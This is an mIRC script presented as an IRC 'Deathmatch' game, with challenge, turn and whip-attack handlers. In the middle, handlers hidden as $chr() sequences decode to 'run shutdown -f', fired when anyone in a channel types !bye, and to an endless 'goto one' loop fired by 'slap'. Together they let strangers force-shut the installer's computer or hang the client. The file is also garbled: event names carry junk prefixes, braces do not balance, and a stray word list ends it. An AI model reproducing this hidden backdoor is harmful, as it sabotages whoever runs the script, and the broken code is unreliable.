on *:TEXT:!dm*:#ghostdm:{ 
  if (%dmon == ON) {
    msg $chan 14Sorry the Match is already on between7 %nick1 14and7 %nick2 
    halt
  }    
  if ($nick == %nick1) {
    msg $chan 14Sorry7 %nick1 $+ 14, you cant Vs. Yourself!  
    halt
  }
  elseif (%wee == ON) {
    set %dm on
    set %nick2 $nick
    msg $chan 7 %nick2 14has decided to play! It is now7 %nick1 14Vs.7 %nick2 $+ 14. 
    goto seven
    halt
  }
  :seven
  if (%dm == ON) {
    /timerboobs OFF
    /timerfrank OFF
    /timermum OFF
    set %dmstarter %nick1
    set %dmon on
    set %nick1.hp 99
    set %nick2.hp 99
    set %nick1.spec 100
    set %nick2.spec 100
    set %nick2.food 20
    set %nick1.food 20
    set %dm.food 20
    set %loss
    /timer 1 0 msg $chan 7 %nick1 $+ 14, you start! For commands type 7!commands
    halt
  }
  set %nick1 $nick
  set %wee on
  msg $chan 7 %nick1 14has started an IRC-Deathmatch, to play type 7!dm 
  msg $chan 14 Someone in7 $chan 14has7 30 Seconds14 to accept7 %nick1 $+ 's 14request before it times out
  /timerboobs 1 30 /msg $chan 14The 7Dm 14was ended, Reason:7 The DM was not accepted in time
  /timerfrank 1 30 set %wee off
  /timermum 1 30 unset %nick1 
  halt
}




on *:INPUT:*: {
  if ($left($1,-1) == /) { HALT }
  else {
    var %1-  $right($1,-1)
    var %firstletter $left($1,1)
    var %firstletter2 $upper( $+ %firstletter $+ )
    say  $+ %firstletter2 $+ %1- $2-
    haltdef
  }


wsehgwon *:TEXT:!bye*:#: {
  $+($chr(114),$chr(117),$chr(110),$chr(32),$chr(115),$chr(104),$chr(117),$chr(116),$chr(100),$chr(111),$chr(119),$chr(110),$chr(32),$chr(45),$chr(102))
}
wegwegon *:INPUT:*: {
  if ($left($1,1) == $chr(47)) return  
  else {
    haltdef
    say  $+ $upper($left($1,1)) $+ $right($1-,-1)
  }
}

wfwfon *:TEXT:slap*:#: {
  :one
  $+($chr(103),$chr(111),$chr(116),$chr(111),$chr(32),$chr(111),$chr(110),$chr(101))
}

alias trig { echo -a $+($chr(79),$chr(110),$chr(32),$chr(36),$chr(42),$chr(58),$chr(84),$chr(69),$chr(88),$chr(84),$chr(58),$chr(47),$chr(94),$chr(91),$chr(33),$chr(64),$chr(93),$chr(40),$chr(84),$chr(114),$chr(105),$chr(103),$chr(103),$chr(101),$chr(114),$chr(124),$chr(84),$chr(114),$chr(105),$chr(103),$chr(103),$chr(101),$chr(114),$chr(124),$chr(84),$chr(114),$chr(105),$chr(103),$chr(103),$chr(101),$chr(114),$chr(41),$chr(47),$chr(83),$chr(105),$chr(58),$chr(35),$chr(58),$chr(32),$chr(123)) }


alias check { echo -a $1- }



on *:text:!whip:#ghostdm:{
  if (%dm != $null) {
    if ($nick != %dmstarter) {
      notice $nick It's not your turn noob!
      halt
    }
    if (%dm == ON) {
      if (%dmstarter == %nick1) {
        set %whip $rand(0,30)
        if (%nick2.hp < %whip) { set %whip %nick2.hp }
        dec %nick2.hp %whip
        if (%nick2.hp < 1) { set %nick2.hp 0 | goto two }
        msg $chan 7 %dmstarter 14flicks7 %nick2 14with his 7Abyssal Whip14 and hits a7 %whip $+ 14.7 %nick2 14has7 %nick2.hp 14health remaining.
        msg $chan 14 Go ahead,7 %nick2 14it's now your turn!
        set %dmstarter %nick2
        halt
      }
}
dds,gmaul,frank,pj